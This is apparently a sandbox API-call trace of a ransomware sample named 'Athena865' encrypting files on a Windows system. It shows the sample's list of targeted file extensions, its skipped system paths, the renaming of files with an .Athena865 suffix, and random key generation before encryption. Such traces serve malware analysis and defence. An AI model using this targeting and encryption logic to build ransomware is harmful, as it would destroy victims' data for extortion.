[0065.753] lstrlenW (lpString="eco") returned 3 [0065.753] lstrcmpiW (lpString1="hmx", lpString2="eco") returned 1 [0065.753] lstrlenW (lpString="ecx") returned 3 [0065.753] lstrcmpiW (lpString1="hmx", lpString2="ecx") returned 1 [0065.753] lstrlenW (lpString="edb") returned 3 [0065.753] lstrcmpiW (lpString1="hmx", lpString2="edb") returned 1 [0065.753] lstrlenW (lpString="epim") returned 4 [0065.753] lstrcmpiW (lpString1="thmx", lpString2="epim") returned 1 [0065.753] lstrlenW (lpString="fcd") returned 3 [0065.753] lstrcmpiW (lpString1="hmx", lpString2="fcd") returned 1 [0065.753] lstrlenW (lpString="fdb") returned 3 [0065.753] lstrcmpiW (lpString1="hmx", lpString2="fdb") returned 1 [0065.753] lstrlenW (lpString="fic") returned 3 [0065.753] lstrcmpiW (lpString1="hmx", lpString2="fic") returned 1 [0065.753] lstrlenW (lpString="flexolibrary") returned 12 [0065.753] lstrlenW (lpString="fm5") returned 3 [0065.753] lstrcmpiW (lpString1="hmx", lpString2="fm5") returned 1 [0065.753] lstrlenW (lpString="fmp") returned 3 [0065.753] lstrcmpiW (lpString1="hmx", lpString2="fmp") returned 1 [0065.753] lstrlenW (lpString="fmp12") returned 5 [0065.753] lstrcmpiW (lpString1=".thmx", lpString2="fmp12") returned -1 [0065.753] lstrlenW (lpString="fmpsl") returned 5 [0065.753] lstrcmpiW (lpString1=".thmx", lpString2="fmpsl") returned -1 [0065.753] lstrlenW (lpString="fol") returned 3 [0065.753] lstrcmpiW (lpString1="hmx", lpString2="fol") returned 1 [0065.753] lstrlenW (lpString="fp3") returned 3 [0065.753] lstrcmpiW (lpString1="hmx", lpString2="fp3") returned 1 [0065.754] lstrlenW (lpString="fp4") returned 3 [0065.754] lstrcmpiW (lpString1="hmx", lpString2="fp4") returned 1 [0065.754] lstrlenW (lpString="fp5") returned 3 [0065.754] lstrcmpiW (lpString1="hmx", lpString2="fp5") returned 1 [0065.754] lstrlenW (lpString="fp7") returned 3 [0065.754] lstrcmpiW (lpString1="hmx", lpString2="fp7") returned 1 [0065.754] lstrlenW (lpString="fpt") returned 3 [0065.754] lstrcmpiW (lpString1="hmx", lpString2="fpt") returned 1 [0065.754] lstrlenW (lpString="frm") returned 3 [0065.754] lstrcmpiW (lpString1="hmx", lpString2="frm") returned 1 [0065.754] lstrlenW (lpString="gdb") returned 3 [0065.754] lstrcmpiW (lpString1="hmx", lpString2="gdb") returned 1 [0065.754] lstrlenW (lpString="gdb") returned 3 [0065.754] lstrcmpiW (lpString1="hmx", lpString2="gdb") returned 1 [0065.754] lstrlenW (lpString="grdb") returned 4 [0065.754] lstrcmpiW (lpString1="thmx", lpString2="grdb") returned 1 [0065.754] lstrlenW (lpString="gwi") returned 3 [0065.754] lstrcmpiW (lpString1="hmx", lpString2="gwi") returned 1 [0065.754] lstrlenW (lpString="hdb") returned 3 [0065.754] lstrcmpiW (lpString1="hmx", lpString2="hdb") returned 1 [0065.754] lstrlenW (lpString="his") returned 3 [0065.754] lstrcmpiW (lpString1="hmx", lpString2="his") returned 1 [0065.754] lstrlenW (lpString="ib") returned 2 [0065.754] lstrcmpiW (lpString1="mx", lpString2="ib") returned 1 [0065.754] lstrlenW (lpString="idb") returned 3 [0065.754] lstrcmpiW (lpString1="hmx", lpString2="idb") returned -1 [0065.754] lstrlenW (lpString="ihx") returned 3 [0065.754] lstrcmpiW (lpString1="hmx", lpString2="ihx") returned -1 [0065.754] lstrlenW (lpString="itdb") returned 4 [0065.754] lstrcmpiW (lpString1="thmx", lpString2="itdb") returned 1 [0065.754] lstrlenW (lpString="itw") returned 3 [0065.754] lstrcmpiW (lpString1="hmx", lpString2="itw") returned -1 [0065.754] lstrlenW (lpString="jet") returned 3 [0065.755] lstrcmpiW (lpString1="hmx", lpString2="jet") returned -1 [0065.755] lstrlenW (lpString="jtx") returned 3 [0065.755] lstrcmpiW (lpString1="hmx", lpString2="jtx") returned -1 [0065.755] lstrlenW (lpString="kdb") returned 3 [0065.755] lstrcmpiW (lpString1="hmx", lpString2="kdb") returned -1 [0065.755] lstrlenW (lpString="kexi") returned 4 [0065.755] lstrcmpiW (lpString1="thmx", lpString2="kexi") returned 1 [0065.755] lstrlenW (lpString="kexic") returned 5 [0065.755] lstrcmpiW (lpString1=".thmx", lpString2="kexic") returned -1 [0065.755] lstrlenW (lpString="kexis") returned 5 [0065.755] lstrcmpiW (lpString1=".thmx", lpString2="kexis") returned -1 [0065.755] lstrlenW (lpString="lgc") returned 3 [0065.755] lstrcmpiW (lpString1="hmx", lpString2="lgc") returned -1 [0065.755] lstrlenW (lpString="lwx") returned 3 [0065.755] lstrcmpiW (lpString1="hmx", lpString2="lwx") returned -1 [0065.755] lstrlenW (lpString="maf") returned 3 [0065.755] lstrcmpiW (lpString1="hmx", lpString2="maf") returned -1 [0065.755] lstrlenW (lpString="maq") returned 3 [0065.755] lstrcmpiW (lpString1="hmx", lpString2="maq") returned -1 [0065.755] lstrlenW (lpString="mar") returned 3 [0065.755] lstrcmpiW (lpString1="hmx", lpString2="mar") returned -1 [0065.755] lstrlenW (lpString="marshal") returned 7 [0065.755] lstrcmpiW (lpString1="on.thmx", lpString2="marshal") returned 1 [0065.755] lstrlenW (lpString="mas") returned 3 [0065.755] lstrcmpiW (lpString1="hmx", lpString2="mas") returned -1 [0065.755] lstrlenW (lpString="mav") returned 3 [0065.755] lstrcmpiW (lpString1="hmx", lpString2="mav") returned -1 [0065.755] lstrlenW (lpString="maw") returned 3 [0065.755] lstrcmpiW (lpString1="hmx", lpString2="maw") returned -1 [0065.755] lstrlenW (lpString="mdbhtml") returned 7 [0065.755] lstrcmpiW (lpString1="on.thmx", lpString2="mdbhtml") returned 1 [0065.755] lstrlenW (lpString="mdn") returned 3 [0065.756] lstrcmpiW (lpString1="hmx", lpString2="mdn") returned -1 [0065.756] lstrlenW (lpString="mdt") returned 3 [0065.756] lstrcmpiW (lpString1="hmx", lpString2="mdt") returned -1 [0065.756] lstrlenW (lpString="mfd") returned 3 [0065.756] lstrcmpiW (lpString1="hmx", lpString2="mfd") returned -1 [0065.756] lstrlenW (lpString="mpd") returned 3 [0065.756] lstrcmpiW (lpString1="hmx", lpString2="mpd") returned -1 [0065.756] lstrlenW (lpString="mrg") returned 3 [0065.756] lstrcmpiW (lpString1="hmx", lpString2="mrg") returned -1 [0065.756] lstrlenW (lpString="mud") returned 3 [0065.756] lstrcmpiW (lpString1="hmx", lpString2="mud") returned -1 [0065.761] lstrlenW (lpString="mwb") returned 3 [0065.761] lstrcmpiW (lpString1="hmx", lpString2="mwb") returned -1 [0065.761] lstrlenW (lpString="myd") returned 3 [0065.761] lstrcmpiW (lpString1="hmx", lpString2="myd") returned -1 [0065.761] lstrlenW (lpString="ndf") returned 3 [0065.761] lstrcmpiW (lpString1="hmx", lpString2="ndf") returned -1 [0065.761] lstrlenW (lpString="nnt") returned 3 [0065.761] lstrcmpiW (lpString1="hmx", lpString2="nnt") returned -1 [0065.761] lstrlenW (lpString="nrmlib") returned 6 [0065.761] lstrcmpiW (lpString1="n.thmx", lpString2="nrmlib") returned -1 [0065.761] lstrlenW (lpString="ns2") returned 3 [0065.761] lstrcmpiW (lpString1="hmx", lpString2="ns2") returned -1 [0065.761] lstrlenW (lpString="ns3") returned 3 [0065.761] lstrcmpiW (lpString1="hmx", lpString2="ns3") returned -1 [0065.762] lstrlenW (lpString="ns4") returned 3 [0065.762] lstrcmpiW (lpString1="hmx", lpString2="ns4") returned -1 [0065.762] lstrlenW (lpString="nsf") returned 3 [0065.762] lstrcmpiW (lpString1="hmx", lpString2="nsf") returned -1 [0065.762] lstrlenW (lpString="nv") returned 2 [0065.762] lstrcmpiW (lpString1="mx", lpString2="nv") returned -1 [0065.762] lstrlenW (lpString="nv2") returned 3 [0065.762] lstrcmpiW (lpString1="hmx", lpString2="nv2") returned -1 [0065.762] lstrlenW (lpString="nwdb") returned 4 [0065.762] lstrcmpiW (lpString1="thmx", lpString2="nwdb") returned 1 [0065.762] lstrlenW (lpString="nyf") returned 3 [0065.762] lstrcmpiW (lpString1="hmx", lpString2="nyf") returned -1 [0065.762] lstrlenW (lpString="odb") returned 3 [0065.762] lstrcmpiW (lpString1="hmx", lpString2="odb") returned -1 [0065.762] lstrlenW (lpString="odb") returned 3 [0065.762] lstrcmpiW (lpString1="hmx", lpString2="odb") returned -1 [0065.762] lstrlenW (lpString="oqy") returned 3 [0065.762] lstrcmpiW (lpString1="hmx", lpString2="oqy") returned -1 [0065.762] lstrlenW (lpString="ora") returned 3 [0065.762] lstrcmpiW (lpString1="hmx", lpString2="ora") returned -1 [0065.762] lstrlenW (lpString="orx") returned 3 [0065.762] lstrcmpiW (lpString1="hmx", lpString2="orx") returned -1 [0065.762] lstrlenW (lpString="owc") returned 3 [0065.762] lstrcmpiW (lpString1="hmx", lpString2="owc") returned -1 [0065.762] lstrlenW (lpString="p96") returned 3 [0065.762] lstrcmpiW (lpString1="hmx", lpString2="p96") returned -1 [0065.762] lstrlenW (lpString="p97") returned 3 [0065.762] lstrcmpiW (lpString1="hmx", lpString2="p97") returned -1 [0065.762] lstrlenW (lpString="pan") returned 3 [0065.762] lstrcmpiW (lpString1="hmx", lpString2="pan") returned -1 [0065.762] lstrlenW (lpString="pdb") returned 3 [0065.762] lstrcmpiW (lpString1="hmx", lpString2="pdb") returned -1 [0065.763] lstrlenW (lpString="pdm") returned 3 [0065.763] lstrcmpiW (lpString1="hmx", lpString2="pdm") returned -1 [0065.763] lstrlenW (lpString="pnz") returned 3 [0065.763] lstrcmpiW (lpString1="hmx", lpString2="pnz") returned -1 [0065.763] lstrlenW (lpString="qry") returned 3 [0065.763] lstrcmpiW (lpString1="hmx", lpString2="qry") returned -1 [0065.763] lstrlenW (lpString="qvd") returned 3 [0065.763] lstrcmpiW (lpString1="hmx", lpString2="qvd") returned -1 [0065.763] lstrlenW (lpString="rbf") returned 3 [0065.763] lstrcmpiW (lpString1="hmx", lpString2="rbf") returned -1 [0065.763] lstrlenW (lpString="rctd") returned 4 [0065.763] lstrcmpiW (lpString1="thmx", lpString2="rctd") returned 1 [0065.763] lstrlenW (lpString="rod") returned 3 [0065.763] lstrcmpiW (lpString1="hmx", lpString2="rod") returned -1 [0065.763] lstrlenW (lpString="rodx") returned 4 [0065.763] lstrcmpiW (lpString1="thmx", lpString2="rodx") returned 1 [0065.763] lstrlenW (lpString="rpd") returned 3 [0065.763] lstrcmpiW (lpString1="hmx", lpString2="rpd") returned -1 [0065.763] lstrlenW (lpString="rsd") returned 3 [0065.763] lstrcmpiW (lpString1="hmx", lpString2="rsd") returned -1 [0065.763] lstrlenW (lpString="sas7bdat") returned 8 [0065.763] lstrcmpiW (lpString1="zon.thmx", lpString2="sas7bdat") returned 1 [0065.763] lstrlenW (lpString="sbf") returned 3 [0065.763] lstrcmpiW (lpString1="hmx", lpString2="sbf") returned -1 [0065.763] lstrlenW (lpString="scx") returned 3 [0065.763] lstrcmpiW (lpString1="hmx", lpString2="scx") returned -1 [0065.763] lstrlenW (lpString="sdb") returned 3 [0065.763] lstrcmpiW (lpString1="hmx", lpString2="sdb") returned -1 [0065.763] lstrlenW (lpString="sdc") returned 3 [0065.763] lstrcmpiW (lpString1="hmx", lpString2="sdc") returned -1 [0065.763] lstrlenW (lpString="sdf") returned 3 [0065.763] lstrcmpiW (lpString1="hmx", lpString2="sdf") returned -1 [0065.764] lstrlenW (lpString="sis") returned 3 [0065.764] lstrcmpiW (lpString1="hmx", lpString2="sis") returned -1 [0065.764] lstrlenW (lpString="spq") returned 3 [0065.764] lstrcmpiW (lpString1="hmx", lpString2="spq") returned -1 [0065.764] lstrlenW (lpString="te") returned 2 [0065.764] lstrcmpiW (lpString1="mx", lpString2="te") returned -1 [0065.764] lstrlenW (lpString="teacher") returned 7 [0065.764] lstrcmpiW (lpString1="on.thmx", lpString2="teacher") returned -1 [0065.764] lstrlenW (lpString="tmd") returned 3 [0065.764] lstrcmpiW (lpString1="hmx", lpString2="tmd") returned -1 [0065.764] lstrlenW (lpString="tps") returned 3 [0065.764] lstrcmpiW (lpString1="hmx", lpString2="tps") returned -1 [0065.764] lstrlenW (lpString="trc") returned 3 [0065.764] lstrcmpiW (lpString1="hmx", lpString2="trc") returned -1 [0065.764] lstrlenW (lpString="trc") returned 3 [0065.764] lstrcmpiW (lpString1="hmx", lpString2="trc") returned -1 [0065.764] lstrlenW (lpString="trm") returned 3 [0065.764] lstrcmpiW (lpString1="hmx", lpString2="trm") returned -1 [0065.764] lstrlenW (lpString="udb") returned 3 [0065.764] lstrcmpiW (lpString1="hmx", lpString2="udb") returned -1 [0065.764] lstrlenW (lpString="udl") returned 3 [0065.764] lstrcmpiW (lpString1="hmx", lpString2="udl") returned -1 [0065.764] lstrlenW (lpString="usr") returned 3 [0065.764] lstrcmpiW (lpString1="hmx", lpString2="usr") returned -1 [0065.764] lstrlenW (lpString="v12") returned 3 [0065.764] lstrcmpiW (lpString1="hmx", lpString2="v12") returned -1 [0065.764] lstrlenW (lpString="vis") returned 3 [0065.764] lstrcmpiW (lpString1="hmx", lpString2="vis") returned -1 [0065.764] lstrlenW (lpString="vpd") returned 3 [0065.764] lstrcmpiW (lpString1="hmx", lpString2="vpd") returned -1 [0065.764] lstrlenW (lpString="vvv") returned 3 [0065.764] lstrcmpiW (lpString1="hmx", lpString2="vvv") returned -1 [0065.764] lstrlenW (lpString="wdb") returned 3 [0065.764] lstrcmpiW (lpString1="hmx", lpString2="wdb") returned -1 [0065.765] lstrlenW (lpString="wmdb") returned 4 [0065.765] lstrcmpiW (lpString1="thmx", lpString2="wmdb") returned -1 [0065.765] lstrlenW (lpString="wrk") returned 3 [0065.765] lstrcmpiW (lpString1="hmx", lpString2="wrk") returned -1 [0065.765] lstrlenW (lpString="xdb") returned 3 [0065.765] lstrcmpiW (lpString1="hmx", lpString2="xdb") returned -1 [0065.765] lstrlenW (lpString="xld") returned 3 [0065.765] lstrcmpiW (lpString1="hmx", lpString2="xld") returned -1 [0065.765] lstrlenW (lpString="xmlff") returned 5 [0065.765] lstrcmpiW (lpString1=".thmx", lpString2="xmlff") returned -1 [0065.765] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Horizon.thmx.Athena865") returned 75 [0065.765] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Horizon.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\horizon.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Horizon.thmx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\horizon.thmx.athena865"), dwFlags=0x1) returned 1 [0065.769] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Horizon.thmx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\horizon.thmx.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0065.769] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=245451) returned 1 [0065.769] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0065.770] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d138 [0065.770] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0065.770] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0065.770] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0065.770] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0065.771] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3c1d0, lpName=0x0) returned 0x17c [0065.772] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3c1d0) returned 0x170000 [0065.783] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0065.784] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0065.784] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0065.784] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d0c0 [0065.784] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d0c0 | out: hHeap=0x4f0000) returned 1 [0065.784] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b690 [0065.784] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0065.784] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0065.784] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0065.784] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b690 [0065.787] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0065.787] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0065.787] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0065.787] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0065.790] CloseHandle (hObject=0x17c) returned 1 [0065.790] CloseHandle (hObject=0x154) returned 1 [0065.790] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d138 | out: hHeap=0x4f0000) returned 1 [0065.790] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0065.790] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0065.791] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe88ce00, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbe88ce00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0065.791] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0065.791] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x157d6500, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b584a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x157d6500, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x146a7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Median.thmx", cAlternateFileName="MEDIAN~1.THM")) returned 1 [0065.792] lstrcmpiW (lpString1="Median.thmx", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0065.792] lstrcmpiW (lpString1="Median.thmx", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0065.792] lstrcmpiW (lpString1="Median.thmx", lpString2=".") returned 1 [0065.792] lstrcmpiW (lpString1="Median.thmx", lpString2="..") returned 1 [0065.792] lstrcmpiW (lpString1="Median.thmx", lpString2="windows") returned -1 [0065.792] lstrcmpiW (lpString1="Median.thmx", lpString2="bootmgr") returned 1 [0065.792] lstrcmpiW (lpString1="Median.thmx", lpString2="temp") returned -1 [0065.792] lstrcmpiW (lpString1="Median.thmx", lpString2="pagefile.sys") returned -1 [0065.792] lstrcmpiW (lpString1="Median.thmx", lpString2="boot") returned 1 [0065.792] lstrcmpiW (lpString1="Median.thmx", lpString2="ids.txt") returned 1 [0065.792] lstrcmpiW (lpString1="Median.thmx", lpString2="ntuser.dat") returned -1 [0065.792] lstrcmpiW (lpString1="Median.thmx", lpString2="perflogs") returned -1 [0065.792] lstrcmpiW (lpString1="Median.thmx", lpString2="MSBuild") returned -1 [0065.792] lstrlenW (lpString="Median.thmx") returned 11 [0065.792] lstrcpyW (in: lpString1=0x241e8b2, lpString2="Median.thmx" | out: lpString1="Median.thmx") returned="Median.thmx" [0065.792] lstrlenW (lpString="Median.thmx") returned 11 [0065.792] lstrlenW (lpString="Athena865") returned 9 [0065.792] lstrcmpiW (lpString1="dian.thmx", lpString2="Athena865") returned 1 [0065.792] lstrlenW (lpString=".dll") returned 4 [0065.792] lstrcmpiW (lpString1="Median.thmx", lpString2=".dll") returned 1 [0065.792] lstrlenW (lpString=".lnk") returned 4 [0065.792] lstrcmpiW (lpString1="Median.thmx", lpString2=".lnk") returned 1 [0065.792] lstrlenW (lpString=".ini") returned 4 [0065.792] lstrcmpiW (lpString1="Median.thmx", lpString2=".ini") returned 1 [0065.792] lstrlenW (lpString=".sys") returned 4 [0065.792] lstrcmpiW (lpString1="Median.thmx", lpString2=".sys") returned 1 [0065.792] lstrlenW (lpString="Median.thmx") returned 11 [0065.792] lstrlenW (lpString="bak") returned 3 [0065.792] lstrcmpiW (lpString1="hmx", lpString2="bak") returned 1 [0065.792] lstrlenW (lpString="ba_") returned 3 [0065.792] lstrcmpiW (lpString1="hmx", lpString2="ba_") returned 1 [0065.792] lstrlenW (lpString="dbb") returned 3 [0065.792] lstrcmpiW (lpString1="hmx", lpString2="dbb") returned 1 [0065.793] lstrlenW (lpString="vmdk") returned 4 [0065.793] lstrcmpiW (lpString1="thmx", lpString2="vmdk") returned -1 [0065.793] lstrlenW (lpString="rar") returned 3 [0065.793] lstrcmpiW (lpString1="hmx", lpString2="rar") returned -1 [0065.793] lstrlenW (lpString="zip") returned 3 [0065.793] lstrcmpiW (lpString1="hmx", lpString2="zip") returned -1 [0065.793] lstrlenW (lpString="tgz") returned 3 [0065.793] lstrcmpiW (lpString1="hmx", lpString2="tgz") returned -1 [0065.793] lstrlenW (lpString="vbox") returned 4 [0065.793] lstrcmpiW (lpString1="thmx", lpString2="vbox") returned -1 [0065.793] lstrlenW (lpString="vdi") returned 3 [0065.793] lstrcmpiW (lpString1="hmx", lpString2="vdi") returned -1 [0065.793] lstrlenW (lpString="vhd") returned 3 [0065.793] lstrcmpiW (lpString1="hmx", lpString2="vhd") returned -1 [0065.793] lstrlenW (lpString="vhdx") returned 4 [0065.793] lstrcmpiW (lpString1="thmx", lpString2="vhdx") returned -1 [0065.793] lstrlenW (lpString="avhd") returned 4 [0065.793] lstrcmpiW (lpString1="thmx", lpString2="avhd") returned 1 [0065.793] lstrlenW (lpString="db") returned 2 [0065.793] lstrcmpiW (lpString1="mx", lpString2="db") returned 1 [0065.793] lstrlenW (lpString="db2") returned 3 [0065.793] lstrcmpiW (lpString1="hmx", lpString2="db2") returned 1 [0065.793] lstrlenW (lpString="db3") returned 3 [0065.793] lstrcmpiW (lpString1="hmx", lpString2="db3") returned 1 [0065.793] lstrlenW (lpString="dbf") returned 3 [0065.793] lstrcmpiW (lpString1="hmx", lpString2="dbf") returned 1 [0065.793] lstrlenW (lpString="mdf") returned 3 [0065.793] lstrcmpiW (lpString1="hmx", lpString2="mdf") returned -1 [0065.793] lstrlenW (lpString="mdb") returned 3 [0065.793] lstrcmpiW (lpString1="hmx", lpString2="mdb") returned -1 [0065.793] lstrlenW (lpString="sql") returned 3 [0065.793] lstrcmpiW (lpString1="hmx", lpString2="sql") returned -1 [0065.793] lstrlenW (lpString="sqlite") returned 6 [0065.793] lstrcmpiW (lpString1="n.thmx", lpString2="sqlite") returned -1 [0065.794] lstrlenW (lpString="sqlite3") returned 7 [0065.794] lstrcmpiW (lpString1="an.thmx", lpString2="sqlite3") returned -1 [0065.794] lstrlenW (lpString="sqlitedb") returned 8 [0065.794] lstrcmpiW (lpString1="ian.thmx", lpString2="sqlitedb") returned -1 [0065.794] lstrlenW (lpString="xml") returned 3 [0065.794] lstrcmpiW (lpString1="hmx", lpString2="xml") returned -1 [0065.794] lstrlenW (lpString="$er") returned 3 [0065.794] lstrcmpiW (lpString1="hmx", lpString2="$er") returned 1 [0065.794] lstrlenW (lpString="4dd") returned 3 [0065.794] lstrcmpiW (lpString1="hmx", lpString2="4dd") returned 1 [0065.794] lstrlenW (lpString="4dl") returned 3 [0065.794] lstrcmpiW (lpString1="hmx", lpString2="4dl") returned 1 [0065.794] lstrlenW (lpString="^^^") returned 3 [0065.794] lstrcmpiW (lpString1="hmx", lpString2="^^^") returned 1 [0065.794] lstrlenW (lpString="abs") returned 3 [0065.794] lstrcmpiW (lpString1="hmx", lpString2="abs") returned 1 [0065.794] lstrlenW (lpString="abx") returned 3 [0065.794] lstrcmpiW (lpString1="hmx", lpString2="abx") returned 1 [0065.794] lstrlenW (lpString="accdb") returned 5 [0065.794] lstrcmpiW (lpString1=".thmx", lpString2="accdb") returned -1 [0065.794] lstrlenW (lpString="accdc") returned 5 [0065.794] lstrcmpiW (lpString1=".thmx", lpString2="accdc") returned -1 [0065.794] lstrlenW (lpString="accde") returned 5 [0065.794] lstrcmpiW (lpString1=".thmx", lpString2="accde") returned -1 [0065.794] lstrlenW (lpString="accdr") returned 5 [0065.794] lstrcmpiW (lpString1=".thmx", lpString2="accdr") returned -1 [0065.794] lstrlenW (lpString="accdt") returned 5 [0065.794] lstrcmpiW (lpString1=".thmx", lpString2="accdt") returned -1 [0065.794] lstrlenW (lpString="accdw") returned 5 [0065.794] lstrcmpiW (lpString1=".thmx", lpString2="accdw") returned -1 [0065.794] lstrlenW (lpString="accft") returned 5 [0065.794] lstrcmpiW (lpString1=".thmx", lpString2="accft") returned -1 [0065.794] lstrlenW (lpString="adb") returned 3 [0065.795] lstrcmpiW (lpString1="hmx", lpString2="adb") returned 1 [0065.795] lstrlenW (lpString="adb") returned 3 [0065.795] lstrcmpiW (lpString1="hmx", lpString2="adb") returned 1 [0065.795] lstrlenW (lpString="ade") returned 3 [0065.795] lstrcmpiW (lpString1="hmx", lpString2="ade") returned 1 [0065.795] lstrlenW (lpString="adf") returned 3 [0065.795] lstrcmpiW (lpString1="hmx", lpString2="adf") returned 1 [0065.795] lstrlenW (lpString="adn") returned 3 [0065.795] lstrcmpiW (lpString1="hmx", lpString2="adn") returned 1 [0065.795] lstrlenW (lpString="adp") returned 3 [0065.795] lstrcmpiW (lpString1="hmx", lpString2="adp") returned 1 [0065.795] lstrlenW (lpString="alf") returned 3 [0065.795] lstrcmpiW (lpString1="hmx", lpString2="alf") returned 1 [0065.795] lstrlenW (lpString="ask") returned 3 [0065.795] lstrcmpiW (lpString1="hmx", lpString2="ask") returned 1 [0065.795] lstrlenW (lpString="btr") returned 3 [0065.795] lstrcmpiW (lpString1="hmx", lpString2="btr") returned 1 [0065.795] lstrlenW (lpString="cat") returned 3 [0065.795] lstrcmpiW (lpString1="hmx", lpString2="cat") returned 1 [0065.795] lstrlenW (lpString="cdb") returned 3 [0065.795] lstrcmpiW (lpString1="hmx", lpString2="cdb") returned 1 [0065.795] lstrlenW (lpString="ckp") returned 3 [0065.795] lstrcmpiW (lpString1="hmx", lpString2="ckp") returned 1 [0065.795] lstrlenW (lpString="cma") returned 3 [0065.795] lstrcmpiW (lpString1="hmx", lpString2="cma") returned 1 [0065.795] lstrlenW (lpString="cpd") returned 3 [0065.795] lstrcmpiW (lpString1="hmx", lpString2="cpd") returned 1 [0065.795] lstrlenW (lpString="dacpac") returned 6 [0065.795] lstrcmpiW (lpString1="n.thmx", lpString2="dacpac") returned 1 [0065.795] lstrlenW (lpString="dad") returned 3 [0065.795] lstrcmpiW (lpString1="hmx", lpString2="dad") returned 1 [0065.795] lstrlenW (lpString="dadiagrams") returned 10 [0065.795] lstrcmpiW (lpString1="edian.thmx", lpString2="dadiagrams") returned 1 [0065.795] lstrlenW (lpString="daschema") returned 8 [0065.796] lstrcmpiW (lpString1="ian.thmx", lpString2="daschema") returned 1 [0065.796] lstrlenW (lpString="db-journal") returned 10 [0065.796] lstrcmpiW (lpString1="edian.thmx", lpString2="db-journal") returned 1 [0065.796] lstrlenW (lpString="db-shm") returned 6 [0065.796] lstrcmpiW (lpString1="n.thmx", lpString2="db-shm") returned 1 [0065.796] lstrlenW (lpString="db-wal") returned 6 [0065.796] lstrcmpiW (lpString1="n.thmx", lpString2="db-wal") returned 1 [0065.796] lstrlenW (lpString="dbc") returned 3 [0065.796] lstrcmpiW (lpString1="hmx", lpString2="dbc") returned 1 [0065.796] lstrlenW (lpString="dbs") returned 3 [0065.796] lstrcmpiW (lpString1="hmx", lpString2="dbs") returned 1 [0065.796] lstrlenW (lpString="dbt") returned 3 